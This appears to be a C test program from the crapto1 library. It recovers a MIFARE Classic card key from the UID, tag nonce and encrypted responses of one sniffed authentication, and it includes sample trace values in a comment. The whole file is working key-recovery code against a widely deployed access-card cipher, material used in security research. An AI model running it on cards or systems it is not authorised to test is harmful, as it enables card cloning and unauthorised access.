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1 | #define __STDC_FORMAT_MACROS |
2 | #include <inttypes.h> |
3 | #define llx PRIx64 |
4 | #define lli PRIi64 |
5 | |
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6 | // Test-file: test2.c |
7 | #include "crapto1.h" |
8 | #include <stdio.h> |
9 | |
10 | int main (int argc, char *argv[]) { |
11 | struct Crypto1State *revstate; |
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12 | uint64_t key; // recovered key |
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13 | uint32_t uid; // serial number |
14 | uint32_t nt; // tag challenge |
15 | uint32_t nr_enc; // encrypted reader challenge |
16 | uint32_t ar_enc; // encrypted reader response |
17 | uint32_t at_enc; // encrypted tag response |
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18 | uint32_t ks2; // keystream used to encrypt reader response |
19 | uint32_t ks3; // keystream used to encrypt tag response |
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20 | |
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21 | printf("MIFARE Classic key recovery - based 64 bits of keystream\n"); |
22 | printf("Recover key from only one complete authentication!\n\n"); |
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23 | |
24 | if (argc < 6) { |
25 | printf(" syntax: %s <uid> <nt> <{nr}> <{ar}> <{at}>\n\n",argv[0]); |
26 | return 1; |
27 | } |
28 | |
29 | sscanf(argv[1],"%x",&uid); |
30 | sscanf(argv[2],"%x",&nt); |
31 | sscanf(argv[3],"%x",&nr_enc); |
32 | sscanf(argv[4],"%x",&ar_enc); |
33 | sscanf(argv[5],"%x",&at_enc); |
34 | |
35 | printf("Recovering key for:\n"); |
36 | printf(" uid: %08x\n",uid); |
37 | printf(" nt: %08x\n",nt); |
38 | printf(" {nr}: %08x\n",nr_enc); |
39 | printf(" {ar}: %08x\n",ar_enc); |
40 | printf(" {at}: %08x\n",at_enc); |
41 | |
42 | /* |
43 | uint32_t uid = 0x9c599b32; |
44 | uint32_t tag_challenge = 0x82a4166c; |
45 | uint32_t nr_enc = 0xa1e458ce; |
46 | uint32_t reader_response = 0x6eea41e0; |
47 | uint32_t tag_response = 0x5cadf439; |
48 | */ |
49 | // Generate lfsr succesors of the tag challenge |
50 | printf("\nLFSR succesors of the tag challenge:\n"); |
51 | printf(" nt': %08x\n",prng_successor(nt, 64)); |
52 | printf(" nt'': %08x\n",prng_successor(nt, 96)); |
53 | |
54 | // Extract the keystream from the messages |
55 | printf("\nKeystream used to generate {ar} and {at}:\n"); |
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56 | ks2 = ar_enc ^ prng_successor(nt, 64); |
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57 | ks3 = at_enc ^ prng_successor(nt, 96); |
58 | printf(" ks2: %08x\n",ks2); |
59 | printf(" ks3: %08x\n",ks3); |
60 | |
61 | revstate = lfsr_recovery64(ks2, ks3); |
62 | lfsr_rollback_word(revstate, 0, 0); |
63 | lfsr_rollback_word(revstate, 0, 0); |
64 | lfsr_rollback_word(revstate, nr_enc, 1); |
65 | lfsr_rollback_word(revstate, uid ^ nt, 0); |
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66 | crypto1_get_lfsr(revstate, &key); |
67 | printf("\nFound Key: [%012"llx"]\n\n",key); |
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68 | crypto1_destroy(revstate); |
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69 | |
70 | return 0; |
71 | } |